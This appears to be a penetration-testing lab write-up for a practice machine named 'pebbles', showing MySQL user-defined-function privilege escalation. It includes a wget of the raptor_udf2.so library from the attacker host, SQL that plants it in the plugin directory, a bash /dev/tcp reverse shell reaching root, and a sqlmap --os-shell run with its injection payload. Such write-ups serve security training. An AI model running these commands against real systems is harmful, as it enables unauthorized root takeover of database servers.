User Defined Functions


The target system is running a MySQL instance with root privileges. The DB credential for the root user was successfully identified and verified. A file write operation was conducted using the credential, confirming that file was written with root user permissions, as expected. However, it appeared that I cannot just simply write to either the SSH’s authorized_keys or sudoers files.

Another angle is via loading a malicious library to create a user defined function in MySQL

www-data@pebbles:/tmp$ wget -q http://192.168.45.192/raptor_udf2.so; chmod 777 ./raptor_udf2.so

Transferring the remotely compiled library file

www-data@pebbles:/tmp$ mysql -h localhost -uroot -pShinyLucentMarker361
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 36
Server version: 5.7.30-0ubuntu0.16.04.1 (Ubuntu)
 
Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.
 
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
 
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 
mysql> 

Starting the session

mysql> use mysql;
mysql> create table npn(line blob);
mysql> insert into npn values(load_file('/tmp/raptor_udf2.so'));

The mysql DB must first be selected Then creating an arbitrary table to load the library file

mysql> show variables like '%plugin%';
show variables like '%plugin%';
+-------------------------------+------------------------+
| Variable_name                 | Value                  |
+-------------------------------+------------------------+
| default_authentication_plugin | mysql_native_password  |
| plugin_dir                    | /usr/lib/mysql/plugin/ |
+-------------------------------+------------------------+
2 rows in set (0.00 sec)

It’s important to know where the plugin directory is In this case, it’s /usr/lib/mysql/plugin/

mysql> select * from npn into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

Dumping the table that contains the loaded library file into the plugin directory, so that it’s accessible by MySQL

mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
select * from mysql.func;
+-----------+-----+----------------+----------+
| name      | ret | dl             | type     |
+-----------+-----+----------------+----------+
| do_system |   2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)

And finally creating a user defined function, do_system, from the library file I can confirm that the do_system function is created and loaded from the library file

mysql> select do_system('bash -c "bash -i >& /dev/tcp/192.168.45.192/8080 0>&1"');

Then use the newly created do_system function to make a syscall In this case, a reverse shell

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/pebbles]
└─$ nnc 8080
listening on [any] 8080 ...
connect to [192.168.45.192] from (UNKNOWN) [192.168.209.52] 54908
bash: cannot set terminal process group (1155): Inappropriate ioctl for device
bash: no job control in this shell
root@pebbles:/var/lib/mysql# whoami
root
root@pebbles:/var/lib/mysql# hostname
pebbles
root@pebbles:/var/lib/mysql# /sbin/ifconfig
ens160    Link encap:Ethernet  HWaddr 00:50:56:9e:1d:08  
          inet addr:192.168.209.52  Bcast:192.168.209.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:5490 errors:0 dropped:165 overruns:0 frame:0
          TX packets:583 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:410936 (410.9 KB)  TX bytes:118639 (118.6 KB)
 
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:9774 errors:0 dropped:0 overruns:0 frame:0
          TX packets:9774 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:725496 (725.4 KB)  TX bytes:725496 (725.4 KB)

System Level Compromise

sqlmap


┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/pebbles]
└─$ sqlmap -r ./sqli.txt --random-agent --dbms=mysql --batch --os-shell
 
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
 
[*] starting @ 03:17:08 /2025-03-12/
 
[03:17:08] [INFO] parsing HTTP request from './sqli.txt'
[03:17:08] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12_Adobe' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[03:17:08] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('ZMSESSID=n9f5atu5s75...npos7nhe81;zmSkin=classic;zmCSS=classic'). Do you want to use those [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: view=request&request=log&task=query&limit=100;SELECT SLEEP(5)#
---
[03:17:09] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[03:17:15] [INFO] confirming MySQL
[03:17:15] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
[03:17:25] [INFO] adjusting time delay to 1 second due to good response times
[03:17:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.0
[03:17:25] [INFO] fingerprinting the back-end DBMS operating system
[03:17:25] [INFO] the back-end DBMS operating system is Linux
[03:17:25] [INFO] testing if current user is DBA
[03:17:25] [INFO] fetching current user
[03:17:25] [INFO] retrieved: root@localhost
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 1
[03:18:19] [INFO] checking if UDF 'sys_exec' already exist
[03:18:19] [INFO] checking if UDF 'sys_eval' already exist
[03:18:19] [INFO] detecting back-end DBMS version from its banner
[03:18:19] [INFO] retrieved: 5.7.30-0ubuntu0.16.04.1
[03:20:02] [INFO] retrieving MySQL plugin directory absolute path
[03:20:02] [INFO] retrieved: /usr/lib/mysql/plugin/
[03:21:33] [INFO] retrieved: 5696
[03:21:45] [INFO] the local file '/tmp/sqlmapxvqd8bd4447061/lib_mysqludf_sysyuc8gojo.so' and the remote file '/usr/lib/mysql/plugin/libsxlis.so' have the same size (5696 B)
[03:21:45] [INFO] creating UDF 'sys_exec' from the binary UDF file
[03:21:45] [INFO] creating UDF 'sys_eval' from the binary UDF file
[03:21:45] [INFO] going to use injected user-defined functions 'sys_eval' and 'sys_exec' for operating system command execution
[03:21:45] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> 

sqlmap spawns a shell using UDF as well. Pretty much the same process, but automated.